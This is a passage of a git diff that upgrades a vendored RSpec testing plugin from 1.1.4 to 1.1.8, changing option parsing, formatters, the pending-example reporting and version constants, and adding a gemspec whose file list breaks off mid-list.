- on_tail(*OPTIONS[:help]) {parse_help}
+ on(*OPTIONS[:runner]) {|runner| @options.user_input_for_runner = runner}
+ on(*OPTIONS[:drb]) {}
+ on(*OPTIONS[:version]) {parse_version}
+ on_tail(*OPTIONS[:help]) {parse_help}
end
def order!(argv, &blk)
- @argv = argv
+ @argv = (argv.empty? && Spec.spec_command?) ? ['--help'] : argv
@options.argv = @argv.dup
return if parse_generate_options
return if parse_drb
@@ -128,7 +129,7 @@ module Spec
@options
end
-
+
protected
def invoke_requires(requires)
requires.split(",").each do |file|
@@ -186,7 +187,7 @@ module Spec
end
def parse_version
- @out_stream.puts ::Spec::VERSION::DESCRIPTION
+ @out_stream.puts ::Spec::VERSION::SUMMARY
exit if stdout?
end
diff --git a/vendor/plugins/rspec/lib/spec/runner/options.rb b/vendor/plugins/rspec/lib/spec/runner/options.rb
index 6716464a..94350d98 100644
--- a/vendor/plugins/rspec/lib/spec/runner/options.rb
+++ b/vendor/plugins/rspec/lib/spec/runner/options.rb
@@ -24,10 +24,13 @@ module Spec
}
STORY_FORMATTERS = {
- 'plain' => ['spec/runner/formatter/story/plain_text_formatter', 'Formatter::Story::PlainTextFormatter'],
- 'p' => ['spec/runner/formatter/story/plain_text_formatter', 'Formatter::Story::PlainTextFormatter'],
- 'html' => ['spec/runner/formatter/story/html_formatter', 'Formatter::Story::HtmlFormatter'],
- 'h' => ['spec/runner/formatter/story/html_formatter', 'Formatter::Story::HtmlFormatter']
+ 'plain' => ['spec/runner/formatter/story/plain_text_formatter', 'Formatter::Story::PlainTextFormatter'],
+ 'p' => ['spec/runner/formatter/story/plain_text_formatter', 'Formatter::Story::PlainTextFormatter'],
+ 'html' => ['spec/runner/formatter/story/html_formatter', 'Formatter::Story::HtmlFormatter'],
+ 'h' => ['spec/runner/formatter/story/html_formatter', 'Formatter::Story::HtmlFormatter'],
+ 'progress' => ['spec/runner/formatter/story/progress_bar_formatter', 'Formatter::Story::ProgressBarFormatter'],
+ 'r' => ['spec/runner/formatter/story/progress_bar_formatter', 'Formatter::Story::ProgressBarFormatter']
+
}
attr_accessor(
@@ -54,7 +57,7 @@ module Spec
:argv
)
attr_reader :colour, :differ_class, :files, :example_groups
-
+
def initialize(error_stream, output_stream)
@error_stream = error_stream
@output_stream = output_stream
@@ -89,9 +92,6 @@ module Spec
return true unless examples_should_be_run?
success = true
begin
- before_suite_parts.each do |part|
- part.call
- end
runner = custom_runner || ExampleGroupRunner.new(self)
unless @files_loaded
@@ -99,6 +99,15 @@ module Spec
@files_loaded = true
end
+ # TODO - this has to happen after the files get loaded,
+ # otherwise the before_suite_parts are not populated
+ # from the configuration. There is no spec for this
+ # directly, but stories/configuration/before_blocks.story
+ # will fail if this happens before the files are loaded.
+ before_suite_parts.each do |part|
+ part.call
+ end
+
if example_groups.empty?
true
else
@@ -125,10 +134,12 @@ module Spec
def colour=(colour)
@colour = colour
- if @colour && RUBY_PLATFORM =~ /win32/ ;\
+ if @colour && RUBY_PLATFORM =~ /mswin|mingw/ ;\
begin ;\
+ replace_output = @output_stream.equal?($stdout) ;\
require 'rubygems' ;\
require 'Win32/Console/ANSI' ;\
+ @output_stream = $stdout if replace_output ;\
rescue LoadError ;\
warn "You must 'gem install win32console' to use colour on Windows" ;\
@colour = false ;\
diff --git a/vendor/plugins/rspec/lib/spec/runner/reporter.rb b/vendor/plugins/rspec/lib/spec/runner/reporter.rb
index 66db3840..ca81b4fe 100644
--- a/vendor/plugins/rspec/lib/spec/runner/reporter.rb
+++ b/vendor/plugins/rspec/lib/spec/runner/reporter.rb
@@ -26,7 +26,7 @@ module Spec
if error.nil?
example_passed(example)
elsif Spec::Example::ExamplePendingError === error
- example_pending(example, error.message)
+ example_pending(example, error.pending_caller, error.message)
else
example_failed(example, error)
end
@@ -103,14 +103,34 @@ module Spec
def example_passed(example)
formatters.each{|f| f.example_passed(example)}
end
+
+ EXAMPLE_PENDING_DEPRECATION_WARNING = <<-WARNING
+ DEPRECATION NOTICE: RSpec's formatters have changed example_pending
+ to accept three arguments instead of just two. Please see the rdoc
+ for Spec::Runner::Formatter::BaseFormatter#example_pending
+ for more information.
+
+ Please update any custom formatters to accept the third argument
+ to example_pending. Support for example_pending with two arguments
+ and this warning message will be removed after the RSpec 1.1.5 release.
+ WARNING
- def example_pending(example, message="Not Yet Implemented")
+ def example_pending(example, pending_caller, message="Not Yet Implemented")
@pending_count += 1
- formatters.each do |f|
- f.example_pending(example, message)
+ formatters.each do |formatter|
+ if formatter_uses_deprecated_example_pending_method?(formatter)
+ Kernel.warn EXAMPLE_PENDING_DEPRECATION_WARNING
+ formatter.example_pending(example, message)
+ else
+ formatter.example_pending(example, message, pending_caller)
+ end
end
end
+ def formatter_uses_deprecated_example_pending_method?(formatter)
+ formatter.method(:example_pending).arity == 2
+ end
+
class Failure
attr_reader :example, :exception
diff --git a/vendor/plugins/rspec/lib/spec/runner/spec_parser.rb b/vendor/plugins/rspec/lib/spec/runner/spec_parser.rb
index 8beb384e..6f13f01a 100644
--- a/vendor/plugins/rspec/lib/spec/runner/spec_parser.rb
+++ b/vendor/plugins/rspec/lib/spec/runner/spec_parser.rb
@@ -11,7 +11,7 @@ module Spec
def spec_name_for(file, line_number)
best_match.clear
file = File.expand_path(file)
- rspec_options.example_groups.each do |example_group|
+ Spec::Runner.options.example_groups.each do |example_group|
consider_example_groups_for_best_match example_group, file, line_number
example_group.examples.each do |example|
diff --git a/vendor/plugins/rspec/lib/spec/story/runner.rb b/vendor/plugins/rspec/lib/spec/story/runner.rb
index 3d7ed59b..9891f050 100644
--- a/vendor/plugins/rspec/lib/spec/story/runner.rb
+++ b/vendor/plugins/rspec/lib/spec/story/runner.rb
@@ -10,8 +10,7 @@ module Spec
module Runner
class << self
def run_options # :nodoc:
- rspec_options
- # @run_options ||= ::Spec::Runner::OptionParser.parse(ARGV, $stderr, $stdout)
+ Spec::Runner.options
end
def story_runner # :nodoc:
@@ -34,7 +33,7 @@ module Spec
end
def create_story_runner
- StoryRunner.new(scenario_runner, world_creator)
+ Runner::StoryRunner.new(scenario_runner, world_creator)
end
# Use this to register a customer output formatter.
diff --git a/vendor/plugins/rspec/lib/spec/story/step.rb b/vendor/plugins/rspec/lib/spec/story/step.rb
index fa3f73ae..a1a6379e 100644
--- a/vendor/plugins/rspec/lib/spec/story/step.rb
+++ b/vendor/plugins/rspec/lib/spec/story/step.rb
@@ -19,11 +19,11 @@ module Spec
end
def matches?(name)
- !(matches = name.match(@expression)).nil?
+ !(name.strip =~ @expression).nil?
end
def parse_args(name)
- name.match(@expression)[1..-1]
+ name.strip.match(@expression)[1..-1]
end
private
@@ -60,7 +60,7 @@ module Spec
expression = string_or_regexp.source
end
while expression =~ PARAM_PATTERN
- expression.gsub!($2, "(.*?)")
+ expression.sub!($2, "(.*?)")
end
@expression = Regexp.new("\\A#{expression}\\Z", Regexp::MULTILINE)
end
diff --git a/vendor/plugins/rspec/lib/spec/story/step_mother.rb b/vendor/plugins/rspec/lib/spec/story/step_mother.rb
index a2e84e31..e91c0973 100644
--- a/vendor/plugins/rspec/lib/spec/story/step_mother.rb
+++ b/vendor/plugins/rspec/lib/spec/story/step_mother.rb
@@ -13,7 +13,8 @@ module Spec
@steps.add(type, step)
end
- def find(type, name)
+ def find(type, unstripped_name)
+ name = unstripped_name.strip
if @steps.find(type, name).nil?
@steps.add(type,
Step.new(name) do
diff --git a/vendor/plugins/rspec/lib/spec/translator.rb b/vendor/plugins/rspec/lib/spec/translator.rb
deleted file mode 100644
index c1e07eda..00000000
--- a/vendor/plugins/rspec/lib/spec/translator.rb
+++ /dev/null
@@ -1,114 +0,0 @@
-require 'fileutils'
-
-module Spec
- class Translator
- def translate(from, to)
- from = File.expand_path(from)
- to = File.expand_path(to)
- if File.directory?(from)
- translate_dir(from, to)
- elsif(from =~ /\.rb$/)
- translate_file(from, to)
- end
- end
-
- def translate_dir(from, to)
- FileUtils.mkdir_p(to) unless File.directory?(to)
- Dir["#{from}/*"].each do |sub_from|
- path = sub_from[from.length+1..-1]
- sub_to = File.join(to, path)
- translate(sub_from, sub_to)
- end
- end
-
- def translate_file(from, to)
- translation = ""
- File.open(from) do |io|
- io.each_line do |line|
- translation << translate_line(line)
- end
- end
- File.open(to, "w") do |io|
- io.write(translation)
- end
- end
-
- def translate_line(line)
- # Translate deprecated mock constraints
- line.gsub!(/:any_args/, 'any_args')
- line.gsub!(/:anything/, 'anything')
- line.gsub!(/:boolean/, 'boolean')
- line.gsub!(/:no_args/, 'no_args')
- line.gsub!(/:numeric/, 'an_instance_of(Numeric)')
- line.gsub!(/:string/, 'an_instance_of(String)')
-
- return line if line =~ /(should_not|should)_receive/
-
- line.gsub!(/(^\s*)context([\s*|\(]['|"|A-Z])/, '\1describe\2')
- line.gsub!(/(^\s*)specify([\s*|\(]['|"|A-Z])/, '\1it\2')
- line.gsub!(/(^\s*)context_setup(\s*[do|\{])/, '\1before(:all)\2')
- line.gsub!(/(^\s*)context_teardown(\s*[do|\{])/, '\1after(:all)\2')
- line.gsub!(/(^\s*)setup(\s*[do|\{])/, '\1before(:each)\2')
- line.gsub!(/(^\s*)teardown(\s*[do|\{])/, '\1after(:each)\2')
-
- if line =~ /(.*\.)(should_not|should)(?:_be)(?!_)(.*)/m
- pre = $1
- should = $2
- post = $3
- be_or_equal = post =~ /(<|>)/ ? "be" : "equal"
-
- return "#{pre}#{should} #{be_or_equal}#{post}"
- end
-
- if line =~ /(.*\.)(should_not|should)_(?!not)\s*(.*)/m
- pre = $1
- should = $2
- post = $3
-
- post.gsub!(/^raise/, 'raise_error')
- post.gsub!(/^throw/, 'throw_symbol')
-
- unless standard_matcher?(post)
- post = "be_#{post}"
- end
-
- # Add parenthesis
- post.gsub!(/^(\w+)\s+([\w|\.|\,|\(.*\)|\'|\"|\:|@| ]+)(\})/, '\1(\2)\3') # inside a block
- post.gsub!(/^(redirect_to)\s+(.*)/, '\1(\2)') # redirect_to, which often has http:
- post.gsub!(/^(\w+)\s+([\w|\.|\,|\(.*\)|\{.*\}|\'|\"|\:|@| ]+)/, '\1(\2)')
- post.gsub!(/(\s+\))/, ')')
- post.gsub!(/\)\}/, ') }')
- post.gsub!(/^(\w+)\s+(\/.*\/)/, '\1(\2)') #regexps
- line = "#{pre}#{should} #{post}"
- end
-
- line
- end
-
- def standard_matcher?(matcher)
- patterns = [
- /^be/,
- /^be_close/,
- /^eql/,
- /^equal/,
- /^has/,
- /^have/,
- /^change/,
- /^include/,
- /^match/,
- /^raise_error/,
- /^respond_to/,
- /^redirect_to/,
- /^satisfy/,
- /^throw_symbol/,
- # Extra ones that we use in spec_helper
- /^pass/,
- /^fail/,
- /^fail_with/,
- ]
- matched = patterns.detect{ |p| matcher =~ p }
- !matched.nil?
- end
-
- end
-end
diff --git a/vendor/plugins/rspec/lib/spec/version.rb b/vendor/plugins/rspec/lib/spec/version.rb
index 5fea989f..6a2587cb 100644
--- a/vendor/plugins/rspec/lib/spec/version.rb
+++ b/vendor/plugins/rspec/lib/spec/version.rb
@@ -3,20 +3,11 @@ module Spec
unless defined? MAJOR
MAJOR = 1
MINOR = 1
- TINY = 4
- RELEASE_CANDIDATE = nil
-
- BUILD_TIME_UTC = 20080615141040
+ TINY = 8
STRING = [MAJOR, MINOR, TINY].join('.')
- TAG = "REL_#{[MAJOR, MINOR, TINY, RELEASE_CANDIDATE].compact.join('_')}".upcase.gsub(/\.|-/, '_')
- FULL_VERSION = "#{[MAJOR, MINOR, TINY, RELEASE_CANDIDATE].compact.join('.')} (build #{BUILD_TIME_UTC})"
- NAME = "RSpec"
- URL = "http://rspec.rubyforge.org/"
-
- DESCRIPTION = "#{NAME}-#{FULL_VERSION} - BDD for Ruby\n#{URL}"
+ SUMMARY = "rspec #{STRING}"
end
end
-end
-
+end
\ No newline at end of file
diff --git a/vendor/plugins/rspec/rake_tasks/failing_examples_with_html.rake b/vendor/plugins/rspec/rake_tasks/failing_examples_with_html.rake
index 34549583..6e53551f 100644
--- a/vendor/plugins/rspec/rake_tasks/failing_examples_with_html.rake
+++ b/vendor/plugins/rspec/rake_tasks/failing_examples_with_html.rake
@@ -4,6 +4,6 @@ require 'spec/rake/spectask'
desc "Generate HTML report for failing examples"
Spec::Rake::SpecTask.new('failing_examples_with_html') do |t|
t.spec_files = FileList['failing_examples/**/*.rb']
- t.spec_opts = ["--format", "html:../doc/output/documentation/tools/failing_examples.html", "--diff"]
+ t.spec_opts = ["--format", "html:doc/reports/tools/failing_examples.html", "--diff"]
t.fail_on_error = false
end
\ No newline at end of file
diff --git a/vendor/plugins/rspec/rake_tasks/verify_rcov.rake b/vendor/plugins/rspec/rake_tasks/verify_rcov.rake
index a90a266d..251d4578 100644
--- a/vendor/plugins/rspec/rake_tasks/verify_rcov.rake
+++ b/vendor/plugins/rspec/rake_tasks/verify_rcov.rake
@@ -2,6 +2,6 @@ require 'rake'
require 'spec/rake/verify_rcov'
RCov::VerifyTask.new(:verify_rcov => :spec) do |t|
- t.threshold = 100.0 # Make sure you have rcov 0.7 or higher!
- t.index_html = '../doc/output/coverage/index.html'
+ t.threshold = 100.0
+ t.index_html = 'coverage/index.html'
end
diff --git a/vendor/plugins/rspec/rspec.gemspec b/vendor/plugins/rspec/rspec.gemspec
new file mode 100644
index 00000000..d3072c3f
--- /dev/null
+++ b/vendor/plugins/rspec/rspec.gemspec
@@ -0,0 +1,33 @@
+Gem::Specification.new do |s|
+ s.name = %q{rspec}
+ s.version = "1.1.8"
+
+ s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
+ s.authors = ["RSpec Development Team"]
+ s.date = %q{2008-10-03}
+ s.description = %q{Behaviour Driven Development for Ruby.}
+ s.email = ["rspec-devel@rubyforge.org"]
+ s.executables = ["autospec", "spec"]
+ s.extra_rdoc_files = ["History.txt", "Manifest.txt", "README.txt", "TODO.txt", "examples/pure/priority.txt", "examples/stories/game-of-life/README.txt", "examples/stories/game-of-life/behaviour/stories/stories.txt", "failing_examples/README.txt", "spec/spec/runner/empty_file.txt", "spec/spec/runner/examples.txt", "spec/spec/runner/failed.txt"]
+ s.files = ["History.txt", "Manifest.txt", "README.txt", "Rakefile", "TODO.txt", "bin/autospec", "bin/spec", "examples/pure/autogenerated_docstrings_example.rb", "examples/pure/before_and_after_example.rb", "examples/pure/behave_as_example.rb", "examples/pure/custom_expectation_matchers.rb", "examples/pure/custom_formatter.rb", "examples/pure/dynamic_spec.rb", "examples/pure/file_accessor.rb", "examples/pure/file_accessor_spec.rb", "examples/pure/greeter_spec.rb", "examples/pure/helper_method_example.rb", "examples/pure/io_processor.rb", "examples/pure/io_processor_spec.rb", "examples/pure/legacy_spec.rb", "examples/pure/mocking_example.rb", "examples/pure/multi_threaded_behaviour_runner.rb", "examples/pure/nested_classes_example.rb", "examples/pure/partial_mock_example.rb", "examples/pure/pending_example.rb", "examples/pure/predicate_example.rb", "examples/pure/priority.txt", "examples/pure/shared_example_group_example.rb", "examples/pure/shared_stack_examples.rb", "examples/pure/spec_helper.rb", "examples/pure/stack.rb", "examples/pure/stack_spec.rb", "examples/pure/stack_spec_with_nested_example_groups.rb", "examples/pure/stubbing_example.rb", "examples/pure/yielding_example.rb", "examples/stories/adder.rb", "examples/stories/addition", "examples/stories/addition.rb", "examples/stories/calculator.rb", "examples/stories/game-of-life/.loadpath", "examples/stories/game-of-life/README.txt", "examples/stories/game-of-life/behaviour/everything.rb", "examples/stories/game-of-life/behaviour/examples/examples.rb", "examples/stories/game-of-life/behaviour/examples/game_behaviour.rb", "examples/stories/game-of-life/behaviour/examples/grid_behaviour.rb", "examples/stories/game-of-life/behaviour/stories/CellsWithLessThanTwoNeighboursDie.story", "examples/stories/game-of-life/behaviour/stories/CellsWithMoreThanThreeNeighboursDie.story", "examples/stories/game-of-life/behaviour/stories/EmptySpacesWithThreeNeighboursCreateACell.story", "examples/stories/game-of-life/behaviour/stories/ICanCreateACell.story", "examples/stories/game-of-life/behaviour/stories/ICanKillACell.story", "examples/stories/game-of-life/behaviour/stories/TheGridWraps.story", "examples/stories/game-of-life/behaviour/stories/create_a_cell.rb", "examples/stories/game-of-life/behaviour/stories/helper.rb", "examples/stories/game-of-life/behaviour/stories/kill_a_cell.rb", "examples/stories/game-of-life/behaviour/stories/steps.rb", "examples/stories/game-of-life/behaviour/stories/stories.rb", "examples/stories/game-of-life/behaviour/stories/stories.txt", "examples/stories/game-of-life/life.rb", "examples/stories/game-of-life/life/game.rb", "examples/stories/game-of-life/life/grid.rb", "examples/stories/helper.rb", "examples/stories/steps/addition_steps.rb", "failing_examples/README.txt", "failing_examples/diffing_spec.rb", "failing_examples/failing_autogenerated_docstrings_example.rb", "failing_examples/failure_in_setup.rb", "failing_examples/failure_in_teardown.rb", "failing_examples/mocking_example.rb", "failing_examples/mocking_with_flexmock.rb", "failing_examples/mocking_with_mocha.rb", "failing_examples/mocking_with_rr.rb", "failing_examples/partial_mock_example.rb", "failing_examples/predicate_example.rb", "failing_examples/raising_example.rb", "failing_examples/spec_helper.rb", "failing_examples/syntax_error_example.rb", "failing_examples/team_spec.rb", "failing_examples/timeout_behaviour.rb", "init.rb", "lib/autotest/discover.rb", "lib/autotest/rspec.rb", "lib/spec.rb", "lib/spec/adapters.rb", "lib/spec/adapters/ruby_engine.rb", "lib/spec/adapters/ruby_engine/mri.rb", "lib/spec/adapters/ruby_engine/rubinius.rb", "lib/spec/example.rb", "lib/spec/example/configuration.rb", "lib/spec/example/errors.rb", "lib/spec/example/example_group.rb", "lib/spec/example/example_group_factory.rb", "lib/spec/example/example_group_methods.rb", "lib/spec/example/example_matcher.rb", "lib/spec/example/example_methods.rb", "lib/spec/example/module_inclusion_warnings.rb", "lib/spec/example/module_reopening_fix.rb", "lib/spec/example/pending.rb", "lib/spec/example/shared_example_group.rb", "lib/spec/expectations.rb", "lib/spec/expectations/differs/default.rb", "lib/spec/expectations/errors.rb", "lib/spec/expectations/extensions.rb", "lib/spec/expectations/extensions/object.rb", "lib/spec/expectations/extensions/string_and_symbol.rb", "lib/spec/expectations/handler.rb", "lib/spec/extensions.rb", "lib/spec/extensions/class.rb", "lib/spec/extensions/main.rb", "lib/spec/extensions/metaclass.rb", "lib/spec/extensions/object.rb", "lib/spec/interop/test.rb", "lib/spec/interop/test/unit/autorunner.rb", "lib/spec/interop/test/unit/testcase.rb", "lib/spec/interop/test/unit/testresult.rb", "lib/spec/interop/test/unit/testsuite_adapter.rb", "lib/spec/interop/test/unit/ui/console/testrunner.rb", "lib/spec/matchers.rb", "lib/spec/matchers/be.rb", "lib/spec/matchers/be_close.rb", "lib/spec/matchers/change.rb", "lib/spec/matchers/eql.rb", "lib/spec/matchers/equal.rb", "lib/spec/matchers/exist.rb", "lib/spec/matchers/has.rb", "lib/spec/matchers/have.rb", "lib/spec/matchers/include.rb", "lib/spec/matchers/match.rb", "lib/spec/matchers/operator_matcher.rb", "lib/spec/matchers/raise_error.rb", "lib/spec/matchers/respond_to.rb", "lib/spec/matchers/satisfy.rb", "lib/spec/matchers/simple_matcher.rb", "lib/spec/matchers/throw_symbol.rb", "lib/spec/mocks.rb", "lib/spec/mocks/argument_constraints.rb", "lib/spec/mocks/argument_expectation.rb", "lib/spec/mocks/error_generator.rb", "lib/spec/mocks/errors.rb", "lib/spec/mocks/extensions.rb", "lib/spec/mocks/extensions/object.rb", "lib/spec/mocks/framework.rb", "lib/spec/mocks/message_expectation.rb", "lib/spec/mocks/methods.rb", "lib/spec/mocks/mock.rb", "lib/spec/mocks/order_group.rb", "lib/spec/mocks/proxy.rb", "lib/spec/mocks/space.rb", "lib/spec/mocks/spec_methods.rb", "lib/spec/rake/spectask.rb", "lib/spec/rake/verify_rcov.rb", "lib/spec/runner.rb", "lib/spec/runner/backtrace_tweaker.rb", "lib/spec/runner/class_and_arguments_parser.rb", "lib/spec/runner/command_line.rb", "lib/spec/runner/drb_command_line.rb", "lib/spec/runner/example_group_runner.rb", "lib/spec/runner/formatter/base_formatter.rb", "lib/spec/runner/formatter/base_text_formatter.rb", "lib/spec/runner/formatter/failing_example_groups_formatter.rb", "lib/spec/runner/formatter/failing_examples_formatter.rb", "lib/spec/runner/formatter/html_formatter.rb", "lib/spec/runner/formatter/nested_text_formatter.rb", "lib/spec/runner/formatter/profile_formatter.rb", "lib/spec/runner/formatter/progress_bar_formatter.rb", "lib/spec/runner/formatter/snippet_extractor.rb", "lib/spec/runner/formatter/specdoc_formatter.rb", "lib/spec/runner/formatter/story/html_formatter.rb", "lib/spec/runner/formatter/story/plain_text_formatter.rb", "lib/spec/runner/formatter/story/progress_bar_formatter.rb", "lib/spec/runner/formatter/text_mate_formatter.rb", "lib/spec/runner/heckle_runner.rb", "lib/spec/runner/heckle_runner_unsupported.rb", "lib/spec/runner/option_parser.rb", "lib/spec/runner/options.rb", "lib/spec/runner/reporter.rb", "lib/spec/runner/spec_parser.rb", "lib/spec/story.rb", "lib/spec/story/extensions.rb", "lib/spec/story/extensions/main.rb", "lib/spec/story/extensions/regexp.rb", "lib/spec/story/extensions/string.rb", "lib/spec/story/given_scenario.rb", "lib/spec/story/runner.rb", "lib/spec/story/runner/plain_text_story_runner.rb", "lib/spec/story/runner/scenario_collector.rb", "lib/spec/story/runner/scenario_runner.rb", "lib/spec/story/runner/story_mediator.rb", "lib/spec/story/runner/story_parser.rb", "lib/spec/story/runner/story_runner.rb", "lib/spec/story/scenario.rb", "lib/spec/story/step.rb", "lib/spec/story/step_group.rb", "lib/spec/story/step_mother.rb", "lib/spec/story/story.rb", "lib/spec/story/world.rb", "lib/spec/version.rb", "plugins/mock_frameworks/flexmock.rb", "plugins/mock_frameworks/mocha.rb", "plugins/mock_frameworks/rr.rb", "plugins/mock_frameworks/rspec.rb", "rake_tasks/examples.rake", "rake_tasks/examples_with_rcov.rake", "rake_tasks/failing_examples_with_html.rake", "rake_tasks/verify_rcov.rake", "rspec.gemspec", "spec/README.jruby", "spec/autotest/autotest_helper.rb", "spec/autotest/autotest_matchers.rb", "spec/autotest/discover_spec.rb", "spec/autotest/rspec_spec.rb", "spec/rspec_suite.rb", "spec/ruby_forker.rb", "spec/spec.opts", "spec/spec/adapters/ruby_engine_spec.rb", "spec/spec/example/configuration_spec.rb", "spec/spec/example/example_group/described_module_spec.rb", "spec/spec/example/example_group/warning_messages_spec.rb", "spec/spec/example/example_group_class_definition_spec.rb", "spec/spec/example/example_group_factory_spec.rb", "spec/spec/example/example_group_methods_spec.rb", "spec/spec/example/example_group_spec.rb", "spec/spec/example/example_matcher_spec.rb", "spec/spec/example/example_methods_spec.rb", "spec/spec/example/example_runner_spec.rb", "spec/spec/example/nested_example_group_spec.rb", "spec/spec/example/pending_module_spec.rb", "spec/spec/example/predicate_matcher_spec.rb", "spec/spec/example/shared_example_group_spec.rb", "spec/spec/example/subclassing_example_group_spec.rb", "spec/spec/expectations/differs/default_spec.rb", "spec/spec/expectations/extensions/object_spec.rb", "spec/spec/expectations/fail_with_spec.rb", "spec/spec/extensions/main_spec.rb", "spec/spec/interop/test/unit/resources/spec_that_fails.rb", "spec/spec/interop/test/unit/resources/spec_that_passes.rb", "spec/spec/interop/test/unit/resources/spec_with_errors.rb", "spec/spec/interop/test/unit/resources/test_case_that_fails.rb", "spec/spec/interop/test/unit/resources/test_case_that_passes.rb", "spec/spec/interop/test/unit/resources/test_case_with_errors.rb", "spec/spec/interop/test/unit/resources/testsuite_adapter_spec_with_test_unit.rb", "spec/spec/interop/test/unit/spec_spec.rb", "spec/spec/interop/test/unit/test_unit_spec_helper.rb", "spec/spec/interop/test/unit/testcase_spec.rb", "spec/spec/interop/test/unit/testsuite_adapter_spec.rb", "spec/spec/matchers/be_close_spec.rb", "spec/spec/matchers/be_spec.rb", "spec/spec/matchers/change_spec.rb", "spec/spec/matchers/description_generation_spec.rb", "spec/spec/matchers/eql_spec.rb", "spec/spec/matchers/equal_spec.rb", "spec/spec/matchers/exist_spec.rb", "spec/spec/matchers/handler_spec.rb", "spec/spec/matchers/has_spec.rb", "spec/spec/matchers/have_spec.rb", "spec/spec/matchers/include_spec.rb", "spec/spec/matchers/match_spec.rb", "spec/spec/matchers/matcher_methods_spec.rb", "spec/spec/matchers/mock_constraint_matchers_spec.rb", "spec/spec/matchers/operator_matcher_spec.rb", "spec/spec/matchers/raise_error_spec.rb", "spec/spec/matchers/respond_to_spec.rb", "spec/spec/matchers/satisfy_spec.rb", "spec/spec/matchers/simple_matcher_spec.rb", "spec/spec/matchers/throw_symbol_spec.rb", "spec/spec/mocks/any_number_of_times_spec.rb", "spec/spec/mocks/argument_expectation_spec.rb", "spec/spec/mocks/at_least_spec.rb", "spec/spec/mocks/at_most_spec.rb", "spec/spec/mocks/bug_report_10260_spec.rb", "spec/spec/mocks/bug_report_10263_spec.rb", "spec/spec/mocks/bug_report_11545_spec.rb", "spec/spec/mocks/bug_report_15719_spec.rb", "spec/spec/mocks/bug_report_496.rb", "spec/spec/mocks/bug_report_7611_spec.rb", "spec/spec/mocks/bug_report_7805_spec.rb", "spec/spec/mocks/bug_report_8165_spec.rb", "spec/spec/mocks/bug_report_8302_spec.rb", "spec/spec/mocks/failing_mock_argument_constraints_spec.rb", "spec/spec/mocks/hash_including_matcher_spec.rb", "spec/spec/mocks/mock_ordering_spec.rb", "spec/spec/mocks/mock_space_spec.rb", "spec/spec/mocks/mock_spec.rb", "spec/spec/mocks/multiple_return_value_spec.rb", "spec/spec/mocks/nil_expectation_warning_spec.rb", "spec/spec/mocks/null_object_mock_spec.rb", "spec/spec/mocks/once_counts_spec.rb", "spec/spec/mocks/options_hash_spec.rb", "spec/spec/mocks/partial_mock_spec.rb", "spec/spec/mocks/partial_mock_using_mocks_directly_spec.rb", "spec/spec/mocks/passing_mock_argument_constraints_spec.rb", "spec/spec/mocks/precise_counts_spec.rb", "spec/spec/mocks/record_messages_spec.rb", "spec/spec/mocks/stub_spec.rb", "spec/spec/mocks/twice_counts_spec.rb", "spec/spec/package/bin_spec_spec.rb", "spec/spec/runner/class_and_argument_parser_spec.rb", "spec/spec/runner/command_line_spec.rb", "spec/spec/runner/drb_command_line_spec.rb", "spec/spec/runner/empty_file.txt", "spec/spec/runner/examples.txt", "spec/spec/runner/failed.txt", "spec/spec/runner/formatter/base_formatter_spec.rb", "spec/spec/runner/formatter/failing_example_groups_formatter_spec.rb", "spec/spec/runner/formatter/failing_examples_formatter_spec.rb", "spec/spec/runner/formatter/html_formatted-1.8.4.html", "spec/spec/runner/formatter/html_formatted-1.8.5-jruby.html", "spec/spec/runner/formatter/html_formatted-1.8.5.html", "spec/spec/runner/formatter/html_formatted-1.8.6-jruby.html", "spec/spec/runner/formatter/html_formatted-1.8.6.html", "spec/spec/runner/formatter/html_formatter_spec.rb", "spec/spec/runner/formatter/nested_text_formatter_spec.rb", "spec/spec/runner/formatter/profile_formatter_spec.rb", "spec/spec/runner/formatter/progress_bar_formatter_spec.rb", "spec/spec/runner/formatter/snippet_extractor_spec.rb", "spec/spec/runner/formatter/spec_mate_formatter_spec.rb", "spec/spec/runner/formatter/specdoc_formatter_spec.rb", "spec/spec/runner/formatter/story/html_formatter_spec.rb", "spec/spec/runner/formatter/story/plain_text_formatter_spec.rb", "spec/spec/runner/formatter/story/progress_bar_formatter_spec.rb", "spec/spec/runner/formatter/text_mate_formatted-1.8.4.html", "spec/spec/runner/formatter/text_mate_formatted-1.8.6.html", "spec/spec/runner/heckle_runner_spec.rb", "spec/spec/runner/heckler_spec.rb", "spec/spec/runner/noisy_backtrace_tweaker_spec.rb", "spec/spec/runner/option_parser_spec.rb", "spec/spec/runner/options_spec.rb", "spec/spec/runner/output_one_time_fixture.rb", "spec/spec/runner/output_one_time_fixture_runner.rb", "spec/spec/runner/output_one_time_spec.rb", "spec/spec/runner/quiet_backtrace_tweaker_spec.rb", "spec/spec/runner/reporter_spec.rb", "spec/spec/runner/resources/a_bar.rb", "spec/spec/runner/resources/a_foo.rb", "spec/spec/runner/resources/a_spec.rb", "spec/spec/runner/spec.opts", "spec/spec/runner/spec_drb.opts", "spec/spec/runner/spec_parser/spec_parser_fixture.rb", "spec/spec/runner/spec_parser_spec.rb", "spec/spec/runner/spec_spaced.opts", "spec/spec/runner_spec.rb", "spec/spec/spec_classes.rb", "spec/spec/story/builders.rb", "spec/spec/story/extensions/main_spec.rb", "spec/spec/story/extensions_spec.rb", "spec/spec/story/given_scenario_spec.rb", "spec/spec/story/runner/plain_text_story_runner_spec.rb", "spec/spec/story/runner/scenario_collector_spec.rb", "spec/spec/story/runner/scenario_runner_spec.rb", "spec/spec/story/runner/story_mediator_spec.rb", "spec/spec/story/runner/story_parser_spec.rb", "spec/spec/story/runner/story_runner_spec.rb", "spec/spec/story/runner_spec.rb", "spec/spec/story/scenario_spec.rb", "spec/spec/story/step_group_spec.rb", "spec/spec/story/step_mother_spec.rb", "spec/spec/story/step_spec.rb", "spec/spec/story/story_helper.rb", "spec/spec/story/story_spec.rb", "spec/spec/story/world_spec.rb", "spec/spec_helper.rb", "stories/all.rb", "stories/configuration/before_blocks.story", "stories/configuration/stories.rb", "stories/example_groups/autogenerated_docstrings", "stories/example_groups/example_group_with_should_methods", "stories/example_groups/nested_groups", "stories/example_groups/output", "stories/example_groups/stories.rb", "stories/helper.rb", "stories/interop/examples_and_tests_together", "stories/interop/stories.rb", "stories/interop/test_case_with_should_methods", "stories/mock_framework_integration/stories.rb", "stories/mock_framework_integration/use_flexmock.story", "stories/pending_stories/README", "stories/resources/helpers/cmdline.rb", "stories/resources/helpers/story_helper.rb", "stories/resources/matchers/smart_match.rb", "stories/resources/spec/before_blocks_example.rb", "stories/resources/spec/example_group_with_should_methods.rb", 